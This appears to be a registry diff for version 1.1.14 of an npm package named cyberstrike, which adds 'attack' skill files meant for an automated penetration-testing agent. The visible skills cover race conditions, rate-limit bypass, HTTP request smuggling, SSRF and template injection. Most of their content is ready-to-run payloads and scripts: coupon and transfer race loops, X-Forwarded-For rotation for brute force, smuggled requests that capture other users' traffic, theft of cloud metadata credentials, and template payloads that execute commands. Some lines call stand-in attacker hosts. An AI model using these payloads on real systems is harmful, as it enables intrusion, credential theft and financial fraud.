@cyberstrike-io/cyberstrike 1.1.13 → 1.1.14
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/hackbrowser-worker.js +107 -16
- package/package.json +12 -12
- package/postinstall.mjs +18 -5
- package/skill/attack-cache-poison/SKILL.md +124 -0
- package/skill/attack-cors/SKILL.md +116 -0
- package/skill/attack-graphql/SKILL.md +121 -0
- package/skill/attack-host-header/SKILL.md +106 -0
- package/skill/attack-idor-automation/SKILL.md +150 -0
- package/skill/attack-jwt/SKILL.md +122 -0
- package/skill/attack-open-redirect/SKILL.md +129 -0
- package/skill/attack-prototype-pollution/SKILL.md +132 -0
- package/skill/attack-race-condition/SKILL.md +125 -0
- package/skill/attack-rate-limit-bypass/SKILL.md +146 -0
- package/skill/attack-request-smuggling/SKILL.md +164 -0
- package/skill/attack-ssrf/SKILL.md +132 -0
- package/skill/attack-ssti/SKILL.md +126 -0
- package/skill/attack-subdomain-takeover/SKILL.md +114 -0
- package/skill/attack-websocket/SKILL.md +136 -0
- package/skill/attack-xxe/SKILL.md +144 -0
- package/web/assets/{ghostty-web-BMDtVBzn.js → ghostty-web-nFGAkzUN.js} +1 -1
- package/web/assets/{home-zQrDqSYd.js → home-C1IdTiFP.js} +1 -1
- package/web/assets/{index-DnHYEPTe.js → index-D2hzTwHf.js} +41 -41
- package/web/assets/{session-DNtIkF3a.js → session-qd_85VE9.js} +35 -35
- package/web/index.html +1 -1
|
@@ -0,0 +1,125 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: attack-race-condition
|
|
3
|
+
description: "Race condition / TOCTOU testing — concurrent requests to exploit time-of-check-to-time-of-use flaws"
|
|
4
|
+
category: "web-application"
|
|
5
|
+
version: "1.0"
|
|
6
|
+
author: "cyberstrike-official"
|
|
7
|
+
tags:
|
|
8
|
+
- race-condition
|
|
9
|
+
- toctou
|
|
10
|
+
- web
|
|
11
|
+
- business-logic
|
|
12
|
+
- attack
|
|
13
|
+
tech_stack:
|
|
14
|
+
- web
|
|
15
|
+
cwe_ids:
|
|
16
|
+
- CWE-362
|
|
17
|
+
- CWE-367
|
|
18
|
+
chains_with: []
|
|
19
|
+
prerequisites: []
|
|
20
|
+
severity_boost: {}
|
|
21
|
+
---
|
|
22
|
+
|
|
23
|
+
# Race Condition / TOCTOU Attack
|
|
24
|
+
|
|
25
|
+
## Objective
|
|
26
|
+
|
|
27
|
+
Exploit time-of-check-to-time-of-use (TOCTOU) vulnerabilities by sending concurrent requests that bypass server-side validation.
|
|
28
|
+
|
|
29
|
+
## Testing Methodology
|
|
30
|
+
|
|
31
|
+
### Phase 1: Identify Targets
|
|
32
|
+
|
|
33
|
+
State-changing operations vulnerable to race conditions:
|
|
34
|
+
- Coupon/promo code redemption
|
|
35
|
+
- Fund transfers / payments
|
|
36
|
+
- Vote/like systems
|
|
37
|
+
- Account creation (duplicate)
|
|
38
|
+
- Inventory purchase
|
|
39
|
+
- Password/email change
|
|
40
|
+
- File operations
|
|
41
|
+
|
|
42
|
+
### Phase 2: Automated Race Testing
|
|
43
|
+
|
|
44
|
+
```bash
|
|
45
|
+
# Basic race test — 20 concurrent POST requests
|
|
46
|
+
attack_script race_tester "https://TARGET/api/redeem" \
|
|
47
|
+
-m POST \
|
|
48
|
+
-H "Authorization:Bearer TOKEN" \
|
|
49
|
+
-d '{"coupon":"DISCOUNT50"}' \
|
|
50
|
+
-c 20 \
|
|
51
|
+
--json-output
|
|
52
|
+
|
|
53
|
+
# With delay (staggered)
|
|
54
|
+
attack_script race_tester "https://TARGET/api/transfer" \
|
|
55
|
+
-m POST \
|
|
56
|
+
-H "Authorization:Bearer TOKEN" \
|
|
57
|
+
-d '{"to":"attacker","amount":100}' \
|
|
58
|
+
-c 50 \
|
|
59
|
+
--delay 5
|
|
60
|
+
```
|
|
61
|
+
|
|
62
|
+
### Phase 3: Single-Packet Attack (Turbo Intruder)
|
|
63
|
+
|
|
64
|
+
For critical timing, send all requests in a single TCP packet:
|
|
65
|
+
|
|
66
|
+
```bash
|
|
67
|
+
# Using curl with parallel connections
|
|
68
|
+
for i in $(seq 1 20); do
|
|
69
|
+
curl -s -X POST https://TARGET/api/redeem \
|
|
70
|
+
-H "Authorization: Bearer TOKEN" \
|
|
71
|
+
-d '{"coupon":"DISCOUNT50"}' &
|
|
72
|
+
done
|
|
73
|
+
wait
|
|
74
|
+
```
|
|
75
|
+
|
|
76
|
+
### Phase 4: Analysis
|
|
77
|
+
|
|
78
|
+
Look for:
|
|
79
|
+
- Multiple successful responses (coupon applied 2+ times)
|
|
80
|
+
- Balance inconsistencies
|
|
81
|
+
- Duplicate records created
|
|
82
|
+
- Response length/status variations indicating multiple successes
|
|
83
|
+
|
|
84
|
+
### Phase 5: Limit Bypass Race
|
|
85
|
+
|
|
86
|
+
```bash
|
|
87
|
+
# Race on rate-limited endpoint
|
|
88
|
+
attack_script race_tester "https://TARGET/api/login" \
|
|
89
|
+
-m POST \
|
|
90
|
+
-d '{"email":"victim@test.com","password":"guess1"}' \
|
|
91
|
+
-c 30
|
|
92
|
+
|
|
93
|
+
# Race on one-time action
|
|
94
|
+
attack_script race_tester "https://TARGET/api/claim-bonus" \
|
|
95
|
+
-m POST \
|
|
96
|
+
-H "Authorization:Bearer TOKEN" \
|
|
97
|
+
-c 20
|
|
98
|
+
```
|
|
99
|
+
|
|
100
|
+
## What Constitutes a Finding
|
|
101
|
+
|
|
102
|
+
| Finding | Severity |
|
|
103
|
+
|---------|----------|
|
|
104
|
+
| Financial: double-spend, duplicate transfer | Critical (P1) |
|
|
105
|
+
| Coupon/code reused multiple times | High (P2) |
|
|
106
|
+
| Rate limit bypassed via race | Medium (P3) |
|
|
107
|
+
| Duplicate record creation | Medium (P3) |
|
|
108
|
+
| Vote/like manipulation | Low (P4) |
|
|
109
|
+
|
|
110
|
+
## Evidence Requirements
|
|
111
|
+
|
|
112
|
+
- Target endpoint and parameters
|
|
113
|
+
- Number of concurrent requests
|
|
114
|
+
- Multiple successful responses proving race succeeded
|
|
115
|
+
- Business impact (e.g., coupon applied twice, balance doubled)
|
|
116
|
+
- Status code distribution from race test
|
|
117
|
+
|
|
118
|
+
## Tools
|
|
119
|
+
|
|
120
|
+
- `attack_script race_tester` — async concurrent request sender
|
|
121
|
+
|
|
122
|
+
## References
|
|
123
|
+
|
|
124
|
+
- [PortSwigger: Race Conditions](https://portswigger.net/web-security/race-conditions)
|
|
125
|
+
- [James Kettle: Smashing the State Machine](https://portswigger.net/research/smashing-the-state-machine)
|
|
@@ -0,0 +1,146 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: attack-rate-limit-bypass
|
|
3
|
+
description: "Rate limit bypass testing — XFF rotation, case variation, method switching, header manipulation"
|
|
4
|
+
category: "web-application"
|
|
5
|
+
version: "1.0"
|
|
6
|
+
author: "cyberstrike-official"
|
|
7
|
+
tags:
|
|
8
|
+
- rate-limit
|
|
9
|
+
- brute-force
|
|
10
|
+
- web
|
|
11
|
+
- bypass
|
|
12
|
+
- attack
|
|
13
|
+
tech_stack:
|
|
14
|
+
- web
|
|
15
|
+
cwe_ids:
|
|
16
|
+
- CWE-307
|
|
17
|
+
- CWE-770
|
|
18
|
+
chains_with:
|
|
19
|
+
- attack-race-condition
|
|
20
|
+
prerequisites: []
|
|
21
|
+
severity_boost:
|
|
22
|
+
attack-race-condition: "Rate limit bypass + race condition = unlimited exploitation"
|
|
23
|
+
---
|
|
24
|
+
|
|
25
|
+
# Rate Limit Bypass
|
|
26
|
+
|
|
27
|
+
## Objective
|
|
28
|
+
|
|
29
|
+
Bypass rate limiting mechanisms to enable brute-force attacks, credential stuffing, or abuse of rate-limited functionality.
|
|
30
|
+
|
|
31
|
+
## Testing Methodology
|
|
32
|
+
|
|
33
|
+
### Phase 1: Automated Bypass Testing
|
|
34
|
+
|
|
35
|
+
```bash
|
|
36
|
+
# Full bypass test suite (5 techniques)
|
|
37
|
+
attack_script rate_limit_bypass "https://TARGET/api/login" \
|
|
38
|
+
--method POST \
|
|
39
|
+
-H "Content-Type:application/json" \
|
|
40
|
+
-d '{"email":"test@test.com","password":"test"}' \
|
|
41
|
+
--count 20 \
|
|
42
|
+
--json-output
|
|
43
|
+
```
|
|
44
|
+
|
|
45
|
+
Tests automatically:
|
|
46
|
+
1. X-Forwarded-For IP rotation
|
|
47
|
+
2. URL case variation
|
|
48
|
+
3. HTTP method switching
|
|
49
|
+
4. Random query parameter injection
|
|
50
|
+
5. Header-based bypasses
|
|
51
|
+
|
|
52
|
+
### Phase 2: X-Forwarded-For Rotation
|
|
53
|
+
|
|
54
|
+
```bash
|
|
55
|
+
# Rotate source IP via headers
|
|
56
|
+
for i in $(seq 1 50); do
|
|
57
|
+
IP="$((RANDOM%254+1)).$((RANDOM%254+1)).$((RANDOM%254+1)).$((RANDOM%254+1))"
|
|
58
|
+
curl -s -o /dev/null -w "%{http_code} " \
|
|
59
|
+
-X POST https://TARGET/api/login \
|
|
60
|
+
-H "X-Forwarded-For: $IP" \
|
|
61
|
+
-H "X-Real-IP: $IP" \
|
|
62
|
+
-H "X-Client-IP: $IP" \
|
|
63
|
+
-d '{"email":"test@test.com","password":"guess"}'
|
|
64
|
+
done
|
|
65
|
+
```
|
|
66
|
+
|
|
67
|
+
### Phase 3: URL Manipulation
|
|
68
|
+
|
|
69
|
+
```bash
|
|
70
|
+
# Path case variation
|
|
71
|
+
curl https://TARGET/API/LOGIN
|
|
72
|
+
curl https://TARGET/Api/Login
|
|
73
|
+
|
|
74
|
+
# Trailing slash/dot
|
|
75
|
+
curl https://TARGET/api/login/
|
|
76
|
+
curl https://TARGET/api/login/.
|
|
77
|
+
|
|
78
|
+
# Double slash
|
|
79
|
+
curl https://TARGET//api//login
|
|
80
|
+
|
|
81
|
+
# Random query params (new cache key)
|
|
82
|
+
curl "https://TARGET/api/login?_=$(date +%s)"
|
|
83
|
+
```
|
|
84
|
+
|
|
85
|
+
### Phase 4: Header Bypasses
|
|
86
|
+
|
|
87
|
+
```bash
|
|
88
|
+
curl -X POST https://TARGET/api/login \
|
|
89
|
+
-H "X-Forwarded-For: 127.0.0.1"
|
|
90
|
+
|
|
91
|
+
curl -X POST https://TARGET/api/login \
|
|
92
|
+
-H "X-Forwarded-Host: localhost"
|
|
93
|
+
|
|
94
|
+
curl -X POST https://TARGET/api/login \
|
|
95
|
+
-H "X-Original-URL: /api/login"
|
|
96
|
+
|
|
97
|
+
curl -X POST https://TARGET/api/login \
|
|
98
|
+
-H "X-Custom-IP-Authorization: 127.0.0.1"
|
|
99
|
+
```
|
|
100
|
+
|
|
101
|
+
### Phase 5: Account Lockout Bypass
|
|
102
|
+
|
|
103
|
+
```bash
|
|
104
|
+
# Distribute across usernames
|
|
105
|
+
for user in user1 user2 user3; do
|
|
106
|
+
curl -X POST https://TARGET/api/login \
|
|
107
|
+
-d "{\"email\":\"$user@test.com\",\"password\":\"common_password\"}"
|
|
108
|
+
done
|
|
109
|
+
|
|
110
|
+
# IP rotation + distributed usernames = bypass
|
|
111
|
+
```
|
|
112
|
+
|
|
113
|
+
### Phase 6: WAF Bypass + Rate Limit
|
|
114
|
+
|
|
115
|
+
```bash
|
|
116
|
+
# Encode payloads to avoid WAF detection
|
|
117
|
+
attack_script waf_bypass "admin' OR 1=1--" --test-url "https://TARGET/api/login" --param password
|
|
118
|
+
```
|
|
119
|
+
|
|
120
|
+
## What Constitutes a Finding
|
|
121
|
+
|
|
122
|
+
| Finding | Severity |
|
|
123
|
+
|---------|----------|
|
|
124
|
+
| Rate limit bypass on login/auth endpoint | High (P2) |
|
|
125
|
+
| Rate limit bypass on password reset | High (P2) |
|
|
126
|
+
| Rate limit bypass on OTP/2FA verification | Critical (P1) |
|
|
127
|
+
| Rate limit bypass on financial operations | Critical (P1) |
|
|
128
|
+
| Rate limit bypass on non-sensitive endpoint | Low (P4) |
|
|
129
|
+
|
|
130
|
+
## Evidence Requirements
|
|
131
|
+
|
|
132
|
+
- Endpoint tested
|
|
133
|
+
- Normal rate limit behavior (429 after N requests)
|
|
134
|
+
- Bypass technique used
|
|
135
|
+
- Successful requests beyond the limit
|
|
136
|
+
- Count of requests that bypassed the limit
|
|
137
|
+
|
|
138
|
+
## Tools
|
|
139
|
+
|
|
140
|
+
- `attack_script rate_limit_bypass` — automated 5-technique bypass testing
|
|
141
|
+
- `attack_script waf_bypass` — encoding variants for WAF bypass
|
|
142
|
+
|
|
143
|
+
## References
|
|
144
|
+
|
|
145
|
+
- [OWASP: Rate Limiting](https://owasp.org/www-community/controls/Rate_Limiting)
|
|
146
|
+
- [HackerOne: Rate Limit Bypass](https://www.hackerone.com/vulnerability-management/rate-limiting-bypass-techniques)
|
|
@@ -0,0 +1,164 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: attack-request-smuggling
|
|
3
|
+
description: "HTTP request smuggling — CL.TE, TE.CL, TE.TE desync attacks for cache poisoning and auth bypass"
|
|
4
|
+
category: "web-application"
|
|
5
|
+
version: "1.0"
|
|
6
|
+
author: "cyberstrike-official"
|
|
7
|
+
tags:
|
|
8
|
+
- request-smuggling
|
|
9
|
+
- http-desync
|
|
10
|
+
- web
|
|
11
|
+
- attack
|
|
12
|
+
tech_stack:
|
|
13
|
+
- web
|
|
14
|
+
cwe_ids:
|
|
15
|
+
- CWE-444
|
|
16
|
+
chains_with:
|
|
17
|
+
- attack-cache-poison
|
|
18
|
+
- attack-open-redirect
|
|
19
|
+
prerequisites: []
|
|
20
|
+
severity_boost:
|
|
21
|
+
attack-cache-poison: "Smuggling + cache = stored XSS/redirect for all users"
|
|
22
|
+
---
|
|
23
|
+
|
|
24
|
+
# HTTP Request Smuggling
|
|
25
|
+
|
|
26
|
+
## Objective
|
|
27
|
+
|
|
28
|
+
Exploit disagreements between front-end and back-end servers on request boundary parsing (Content-Length vs Transfer-Encoding) to smuggle a second request.
|
|
29
|
+
|
|
30
|
+
## Testing Methodology
|
|
31
|
+
|
|
32
|
+
### Phase 1: Detect Smuggling
|
|
33
|
+
|
|
34
|
+
**CL.TE (front uses Content-Length, back uses Transfer-Encoding):**
|
|
35
|
+
|
|
36
|
+
```http
|
|
37
|
+
POST / HTTP/1.1
|
|
38
|
+
Host: TARGET
|
|
39
|
+
Content-Length: 13
|
|
40
|
+
Transfer-Encoding: chunked
|
|
41
|
+
|
|
42
|
+
0
|
|
43
|
+
|
|
44
|
+
SMUGGLED
|
|
45
|
+
```
|
|
46
|
+
|
|
47
|
+
**TE.CL (front uses Transfer-Encoding, back uses Content-Length):**
|
|
48
|
+
|
|
49
|
+
```http
|
|
50
|
+
POST / HTTP/1.1
|
|
51
|
+
Host: TARGET
|
|
52
|
+
Content-Length: 3
|
|
53
|
+
Transfer-Encoding: chunked
|
|
54
|
+
|
|
55
|
+
8
|
|
56
|
+
SMUGGLED
|
|
57
|
+
0
|
|
58
|
+
|
|
59
|
+
```
|
|
60
|
+
|
|
61
|
+
### Phase 2: Timing-Based Detection
|
|
62
|
+
|
|
63
|
+
Send ambiguous request, measure response time:
|
|
64
|
+
- If back-end times out waiting for more data → smuggling may be possible
|
|
65
|
+
|
|
66
|
+
```bash
|
|
67
|
+
# CL.TE detection (timeout = vulnerable)
|
|
68
|
+
printf 'POST / HTTP/1.1\r\nHost: TARGET\r\nContent-Length: 4\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nA\r\nX' | timeout 10 nc TARGET 80
|
|
69
|
+
```
|
|
70
|
+
|
|
71
|
+
### Phase 3: Confirm Smuggling
|
|
72
|
+
|
|
73
|
+
**CL.TE confirmed:**
|
|
74
|
+
|
|
75
|
+
```http
|
|
76
|
+
POST / HTTP/1.1
|
|
77
|
+
Host: TARGET
|
|
78
|
+
Content-Length: 35
|
|
79
|
+
Transfer-Encoding: chunked
|
|
80
|
+
|
|
81
|
+
0
|
|
82
|
+
|
|
83
|
+
GET /404-proof HTTP/1.1
|
|
84
|
+
X: x
|
|
85
|
+
```
|
|
86
|
+
|
|
87
|
+
If next request to `/` returns 404 or different page, smuggling is confirmed.
|
|
88
|
+
|
|
89
|
+
### Phase 4: Exploitation
|
|
90
|
+
|
|
91
|
+
**Capture other user's request:**
|
|
92
|
+
```http
|
|
93
|
+
POST / HTTP/1.1
|
|
94
|
+
Host: TARGET
|
|
95
|
+
Content-Length: 100
|
|
96
|
+
Transfer-Encoding: chunked
|
|
97
|
+
|
|
98
|
+
0
|
|
99
|
+
|
|
100
|
+
POST /log HTTP/1.1
|
|
101
|
+
Content-Length: 10000
|
|
102
|
+
Content-Type: application/x-www-form-urlencoded
|
|
103
|
+
|
|
104
|
+
data=
|
|
105
|
+
```
|
|
106
|
+
Next user's request is appended to `data=` parameter.
|
|
107
|
+
|
|
108
|
+
**Bypass front-end access controls:**
|
|
109
|
+
```http
|
|
110
|
+
POST / HTTP/1.1
|
|
111
|
+
Host: TARGET
|
|
112
|
+
Content-Length: 50
|
|
113
|
+
Transfer-Encoding: chunked
|
|
114
|
+
|
|
115
|
+
0
|
|
116
|
+
|
|
117
|
+
GET /admin HTTP/1.1
|
|
118
|
+
Host: TARGET
|
|
119
|
+
X: x
|
|
120
|
+
```
|
|
121
|
+
|
|
122
|
+
**Cache poisoning via smuggling:**
|
|
123
|
+
```http
|
|
124
|
+
POST / HTTP/1.1
|
|
125
|
+
Host: TARGET
|
|
126
|
+
Content-Length: 100
|
|
127
|
+
Transfer-Encoding: chunked
|
|
128
|
+
|
|
129
|
+
0
|
|
130
|
+
|
|
131
|
+
GET /static/main.js HTTP/1.1
|
|
132
|
+
Host: evil.com
|
|
133
|
+
X: x
|
|
134
|
+
```
|
|
135
|
+
|
|
136
|
+
### Phase 5: H2.CL / H2 Smuggling
|
|
137
|
+
|
|
138
|
+
```bash
|
|
139
|
+
# HTTP/2 downgrade smuggling
|
|
140
|
+
curl --http2 https://TARGET/ \
|
|
141
|
+
-H "Content-Length: 0" \
|
|
142
|
+
-H "Transfer-Encoding: chunked" \
|
|
143
|
+
-d "0\r\n\r\nGET /admin HTTP/1.1\r\nHost: TARGET\r\n\r\n"
|
|
144
|
+
```
|
|
145
|
+
|
|
146
|
+
## What Constitutes a Finding
|
|
147
|
+
|
|
148
|
+
| Finding | Severity |
|
|
149
|
+
|---------|----------|
|
|
150
|
+
| Request smuggling → capture user requests | Critical (P1) |
|
|
151
|
+
| Smuggling → admin access bypass | Critical (P1) |
|
|
152
|
+
| Smuggling → cache poisoning | Critical (P1) |
|
|
153
|
+
| CL.TE or TE.CL desync confirmed | High (P2) |
|
|
154
|
+
|
|
155
|
+
## Evidence Requirements
|
|
156
|
+
|
|
157
|
+
- Smuggling variant (CL.TE, TE.CL, TE.TE, H2.CL)
|
|
158
|
+
- Proof of desync (wrong response, timing, captured request)
|
|
159
|
+
- Impact demonstration (auth bypass, cache poison, request capture)
|
|
160
|
+
|
|
161
|
+
## References
|
|
162
|
+
|
|
163
|
+
- [PortSwigger: Request Smuggling](https://portswigger.net/web-security/request-smuggling)
|
|
164
|
+
- [James Kettle: HTTP Desync Attacks](https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn)
|
|
@@ -0,0 +1,132 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: attack-ssrf
|
|
3
|
+
description: "Server-Side Request Forgery — internal network access, cloud metadata theft, filter bypass techniques"
|
|
4
|
+
category: "web-application"
|
|
5
|
+
version: "1.0"
|
|
6
|
+
author: "cyberstrike-official"
|
|
7
|
+
tags:
|
|
8
|
+
- ssrf
|
|
9
|
+
- web
|
|
10
|
+
- injection
|
|
11
|
+
- cloud
|
|
12
|
+
- attack
|
|
13
|
+
tech_stack:
|
|
14
|
+
- web
|
|
15
|
+
- aws
|
|
16
|
+
- gcp
|
|
17
|
+
- azure
|
|
18
|
+
cwe_ids:
|
|
19
|
+
- CWE-918
|
|
20
|
+
chains_with:
|
|
21
|
+
- attack-xxe
|
|
22
|
+
- attack-ssti
|
|
23
|
+
prerequisites: []
|
|
24
|
+
severity_boost:
|
|
25
|
+
attack-xxe: "SSRF via XXE parser = file read + internal network scanning"
|
|
26
|
+
attack-ssti: "SSRF from SSTI = full RCE chain"
|
|
27
|
+
---
|
|
28
|
+
|
|
29
|
+
# Server-Side Request Forgery (SSRF)
|
|
30
|
+
|
|
31
|
+
## Objective
|
|
32
|
+
|
|
33
|
+
Force the server to make requests to internal resources, cloud metadata endpoints, or attacker-controlled servers.
|
|
34
|
+
|
|
35
|
+
## Testing Methodology
|
|
36
|
+
|
|
37
|
+
### Phase 1: Identify URL Input Points
|
|
38
|
+
|
|
39
|
+
Look for parameters that accept URLs:
|
|
40
|
+
- Webhook URLs, callback URLs
|
|
41
|
+
- File import/export (URL-based)
|
|
42
|
+
- PDF/image generation from URL
|
|
43
|
+
- URL preview/unfurling
|
|
44
|
+
- Proxy/redirect endpoints
|
|
45
|
+
|
|
46
|
+
### Phase 2: Basic SSRF Payloads
|
|
47
|
+
|
|
48
|
+
```bash
|
|
49
|
+
# Start callback listener
|
|
50
|
+
attack_script ssrf_listener -p 8888 -o ssrf_evidence.json &
|
|
51
|
+
|
|
52
|
+
# Test URL parameters
|
|
53
|
+
curl "https://TARGET/api/fetch?url=http://ATTACKER_IP:8888/ssrf-test"
|
|
54
|
+
curl "https://TARGET/api/preview?link=http://127.0.0.1:80"
|
|
55
|
+
```
|
|
56
|
+
|
|
57
|
+
### Phase 3: Cloud Metadata
|
|
58
|
+
|
|
59
|
+
```bash
|
|
60
|
+
# AWS IMDSv1
|
|
61
|
+
curl "https://TARGET/fetch?url=http://169.254.169.254/latest/meta-data/"
|
|
62
|
+
curl "https://TARGET/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
|
|
63
|
+
|
|
64
|
+
# GCP
|
|
65
|
+
curl "https://TARGET/fetch?url=http://metadata.google.internal/computeMetadata/v1/"
|
|
66
|
+
|
|
67
|
+
# Azure
|
|
68
|
+
curl "https://TARGET/fetch?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01"
|
|
69
|
+
```
|
|
70
|
+
|
|
71
|
+
### Phase 4: Filter Bypass
|
|
72
|
+
|
|
73
|
+
```bash
|
|
74
|
+
# Decimal IP (127.0.0.1 = 2130706433)
|
|
75
|
+
curl "https://TARGET/fetch?url=http://2130706433/"
|
|
76
|
+
|
|
77
|
+
# Hex IP
|
|
78
|
+
curl "https://TARGET/fetch?url=http://0x7f000001/"
|
|
79
|
+
|
|
80
|
+
# IPv6
|
|
81
|
+
curl "https://TARGET/fetch?url=http://[::1]/"
|
|
82
|
+
|
|
83
|
+
# URL encoding
|
|
84
|
+
curl "https://TARGET/fetch?url=http://%31%32%37%2e%30%2e%30%2e%31/"
|
|
85
|
+
|
|
86
|
+
# DNS rebinding (use your own DNS server)
|
|
87
|
+
curl "https://TARGET/fetch?url=http://rebind.127.0.0.1.nip.io/"
|
|
88
|
+
|
|
89
|
+
# Redirect bypass
|
|
90
|
+
curl "https://TARGET/fetch?url=http://ATTACKER/redirect?to=http://169.254.169.254/"
|
|
91
|
+
|
|
92
|
+
# Protocol smuggling
|
|
93
|
+
curl "https://TARGET/fetch?url=gopher://127.0.0.1:6379/_INFO"
|
|
94
|
+
```
|
|
95
|
+
|
|
96
|
+
### Phase 5: Internal Port Scanning
|
|
97
|
+
|
|
98
|
+
```bash
|
|
99
|
+
# Scan common internal ports
|
|
100
|
+
for port in 80 443 8080 8443 3306 5432 6379 27017 9200 11211; do
|
|
101
|
+
curl -s -o /dev/null -w "%{http_code}" "https://TARGET/fetch?url=http://127.0.0.1:$port/" &
|
|
102
|
+
done
|
|
103
|
+
wait
|
|
104
|
+
```
|
|
105
|
+
|
|
106
|
+
## What Constitutes a Finding
|
|
107
|
+
|
|
108
|
+
| Finding | Severity |
|
|
109
|
+
|---------|----------|
|
|
110
|
+
| Cloud metadata access (credentials) | Critical (P1) |
|
|
111
|
+
| Internal network access | High (P2) |
|
|
112
|
+
| Out-of-band HTTP callback | Medium (P3) |
|
|
113
|
+
| Blind SSRF (timing-based) | Medium (P3) |
|
|
114
|
+
| File read via file:// protocol | Critical (P1) |
|
|
115
|
+
| gopher:// protocol access | High (P2) |
|
|
116
|
+
|
|
117
|
+
## Evidence Requirements
|
|
118
|
+
|
|
119
|
+
- URL parameter with SSRF payload
|
|
120
|
+
- Response containing internal data or metadata
|
|
121
|
+
- For blind SSRF: OOB callback evidence (use ssrf_listener)
|
|
122
|
+
- Network topology information gathered
|
|
123
|
+
|
|
124
|
+
## Tools
|
|
125
|
+
|
|
126
|
+
- `attack_script ssrf_listener` — OOB callback listener
|
|
127
|
+
- `curl` — manual SSRF testing
|
|
128
|
+
|
|
129
|
+
## References
|
|
130
|
+
|
|
131
|
+
- [PortSwigger: SSRF](https://portswigger.net/web-security/ssrf)
|
|
132
|
+
- [OWASP: SSRF](https://owasp.org/www-community/attacks/Server_Side_Request_Forgery)
|
|
@@ -0,0 +1,126 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: attack-ssti
|
|
3
|
+
description: "Server-Side Template Injection — detection, engine fingerprinting, and exploitation across 7 template engines"
|
|
4
|
+
category: "web-application"
|
|
5
|
+
version: "1.0"
|
|
6
|
+
author: "cyberstrike-official"
|
|
7
|
+
tags:
|
|
8
|
+
- ssti
|
|
9
|
+
- rce
|
|
10
|
+
- injection
|
|
11
|
+
- web
|
|
12
|
+
- attack
|
|
13
|
+
tech_stack:
|
|
14
|
+
- web
|
|
15
|
+
- python
|
|
16
|
+
- java
|
|
17
|
+
- ruby
|
|
18
|
+
- php
|
|
19
|
+
cwe_ids:
|
|
20
|
+
- CWE-94
|
|
21
|
+
- CWE-1336
|
|
22
|
+
chains_with:
|
|
23
|
+
- attack-ssrf
|
|
24
|
+
prerequisites: []
|
|
25
|
+
severity_boost:
|
|
26
|
+
attack-ssrf: "SSTI → SSRF → internal service access = RCE chain"
|
|
27
|
+
---
|
|
28
|
+
|
|
29
|
+
# Server-Side Template Injection (SSTI)
|
|
30
|
+
|
|
31
|
+
## Objective
|
|
32
|
+
|
|
33
|
+
Detect and exploit server-side template injection to achieve code execution on the server.
|
|
34
|
+
|
|
35
|
+
## Testing Methodology
|
|
36
|
+
|
|
37
|
+
### Phase 1: Detection
|
|
38
|
+
|
|
39
|
+
```bash
|
|
40
|
+
# Automated SSTI detection across 7 engines
|
|
41
|
+
attack_script ssti_tester "https://TARGET/search?q=FUZZ" --param q --json-output
|
|
42
|
+
|
|
43
|
+
# Quick mode (math payloads only)
|
|
44
|
+
attack_script ssti_tester "https://TARGET/render" --param template --quick
|
|
45
|
+
```
|
|
46
|
+
|
|
47
|
+
### Phase 2: Generic Detection Payloads
|
|
48
|
+
|
|
49
|
+
Inject into every user-controlled parameter:
|
|
50
|
+
|
|
51
|
+
```
|
|
52
|
+
{{7*7}} → 49 (Jinja2, Twig)
|
|
53
|
+
${7*7} → 49 (FreeMarker, Velocity, EL)
|
|
54
|
+
<%= 7*7 %> → 49 (ERB, JSP)
|
|
55
|
+
#{7*7} → 49 (Thymeleaf)
|
|
56
|
+
{{7*'7'}} → 7777777 (Jinja2 string multiplication)
|
|
57
|
+
```
|
|
58
|
+
|
|
59
|
+
### Phase 3: Engine Fingerprinting
|
|
60
|
+
|
|
61
|
+
```
|
|
62
|
+
{{config.items()}} → Jinja2 (Flask/Python)
|
|
63
|
+
{{request.application.__globals__}} → Jinja2
|
|
64
|
+
${T(java.lang.Runtime)} → Spring EL
|
|
65
|
+
<#assign x=1>${x} → FreeMarker
|
|
66
|
+
{{_self.env.getFilter('id')}} → Twig (PHP)
|
|
67
|
+
<%= system('id') %> → ERB (Ruby)
|
|
68
|
+
```
|
|
69
|
+
|
|
70
|
+
### Phase 4: Exploitation
|
|
71
|
+
|
|
72
|
+
**Jinja2 (Python/Flask):**
|
|
73
|
+
```
|
|
74
|
+
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
|
|
75
|
+
{{''.__class__.__mro__[1].__subclasses__()[XXX]('id',shell=True,stdout=-1).communicate()}}
|
|
76
|
+
```
|
|
77
|
+
|
|
78
|
+
**FreeMarker (Java):**
|
|
79
|
+
```
|
|
80
|
+
${"freemarker.template.utility.Execute"?new()("id")}
|
|
81
|
+
```
|
|
82
|
+
|
|
83
|
+
**Twig (PHP):**
|
|
84
|
+
```
|
|
85
|
+
{{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}
|
|
86
|
+
```
|
|
87
|
+
|
|
88
|
+
**ERB (Ruby):**
|
|
89
|
+
```
|
|
90
|
+
<%= `id` %>
|
|
91
|
+
<%= system('id') %>
|
|
92
|
+
```
|
|
93
|
+
|
|
94
|
+
### Phase 5: POST-based Injection
|
|
95
|
+
|
|
96
|
+
```bash
|
|
97
|
+
# Test POST parameters
|
|
98
|
+
attack_script ssti_tester "https://TARGET/api/render" --param content --method POST --data '{"content":"FUZZ"}'
|
|
99
|
+
```
|
|
100
|
+
|
|
101
|
+
## What Constitutes a Finding
|
|
102
|
+
|
|
103
|
+
| Finding | Severity |
|
|
104
|
+
|---------|----------|
|
|
105
|
+
| Math expression evaluated (7*7=49) | High (P2) |
|
|
106
|
+
| Config/env data leaked | High (P2) |
|
|
107
|
+
| Command execution achieved | Critical (P1) |
|
|
108
|
+
| File read via template | Critical (P1) |
|
|
109
|
+
|
|
110
|
+
## Evidence Requirements
|
|
111
|
+
|
|
112
|
+
- Injection point (parameter, endpoint)
|
|
113
|
+
- Payload sent
|
|
114
|
+
- Server response showing template evaluation
|
|
115
|
+
- Template engine identified
|
|
116
|
+
- For RCE: command output in response
|
|
117
|
+
|
|
118
|
+
## Tools
|
|
119
|
+
|
|
120
|
+
